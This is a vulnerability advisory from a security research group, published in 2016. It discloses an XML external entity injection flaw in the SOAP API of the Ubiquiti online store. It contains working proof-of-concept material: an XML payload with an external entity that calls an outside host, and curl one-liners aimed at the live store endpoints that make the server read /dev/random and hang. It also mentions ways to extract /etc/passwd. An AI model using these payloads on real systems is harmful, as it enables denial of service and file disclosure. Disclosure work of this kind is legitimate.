Document Title: =============== UBNT Bug Bounty #2 - XML External Entity Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1466 Release Date: ============= 2016-04-14 Vulnerability Laboratory ID (VL-ID): ==================================== 1466 Common Vulnerability Scoring System: ==================================== 3.8 Product & Service Introduction: =============================== Ubiquiti Networks is an American technology company started in 2005. Based in San Jose, California they are a manufacturer of wireless products whose primary focus is on under-served and emerging markets. (Copy of the Homepage: http://en.wikipedia.org/wiki/Ubiquiti_Networks ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Core Research Team discovered a XEE Vulnerability in the official Ubnt online service web-application. Vulnerability Disclosure Timeline: ================================== 2016-04-14: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Ubiquiti Network Product: Ubnt Store - Web Application (Online-Service) 2015 Q2 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ An XML external entities injection vulnerability exists on the soap server hosted on https://store.ubnt.com/index.php/api/ magento script. The attack allows an attacker to open local files (although perhaps not return the data, see below), leading at best to a DoS. Proof of Concept (PoC): ======================= The XEE Vulnerability can be exploited by remote attackers without privileged application user account and low user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. Often this attack can be used to extract files from the server (such as /etc/passwd), or even directly execute code if the PHP expect module is installed, however in this case exploitation isn't as straight forward as the issue occurs in the XML pre-check code and no user input is returned. That's not to say there isn't a away to exfiltrate data, --- PoC Session Logs [POST] --- POST /index.php/api/ HTTP/1.1 Host: store.ubnt.com User-Agent: Mozilla/5.0 (X11; Linux i686; rv:36.0) Gecko/20100101 Firefox/36.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 211 PoC: <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "https://zero-way.net/?xxe">]> <SOAP-ENV:Envelope> <SOAP-ENV:Body> </SOAP-ENV:Body> </SOAP-ENV:Envelope> PoC. Reply <?xml version="1.0" encoding="UTF-8"?> <env:Envelope xmlns:env="http://www.w3.org/2003/05/soap-envelope">env:Bodyenv:Faultenv:Codeenv:Valueenv:Receiver/env:Value/env:Codeenv:Reasonenv:TextDTD are not supported by SOAP/env:Text/env:Reason/env:Fault/env:Body/env:Envelope You'll get the error "DTD are not supported by SOAP", but the attack will have succeeded. cURL proof-of-concept which makes the script open /dev/random and hang: curl -is --data $'<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>' https://store.ubnt.com/index.php/api/ curl -is --data $'<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>' https://store.ubnt.com/index.php/api/soap/ For more information on XXE vulnerabilities in PHP in particular, see: http://phpsecurity.readthedocs.org/en/latest/Injection-Attacks.html#xml-external-entity-injection Hadji Samir i installed the last version ver 1.9.1.0 - magento ,they fixed the bug xxe/xee: disabled to prevent XXE/XEE attacks Poc curl -is --data $'<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>' http://localhost/magento/index.php/api/ HTTP/1.1 500 Internal Service Error Date: Sat, 21 Mar 2015 22:00:23 GMT Server: Apache/2.2.22 (Debian) X-Powered-By: PHP/5.4.36-0+deb7u3 Content-Length: 324 Vary: Accept-Encoding Connection: close Content-Type: text/xml; charset=utf-8 <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">SOAP-ENV:BodySOAP-ENV:Fault<faultcode>Sender</faultcode><faultstring>Detected use of ENTITY in XML, disabled to prevent XXE/XEE attacks</faultstring>/SOAP-ENV:Fault/SOAP-ENV:Body/SOAP-ENV:Envelope Security Risk: ============== The security risk of the xee vulnerability in the soap server is estimated as medium. (CVSS 3.8) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Hadji Samir (samir@xxxxxxxxxxxxxxxxx) [http://www.vulnerability-lab.com/show.php?user=Hadji%20Samir] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@xxxxxxxxxxxxxxxxxxxxx - research@xxxxxxxxxxxxxxxxxxxxx - admin@xxxxxxxxxxxxxxxxx Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@xxxxxxxxxxxxxxxxxxxxx) to get a ask permission. Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@xxxxxxxxxxxxxxxxxxxxx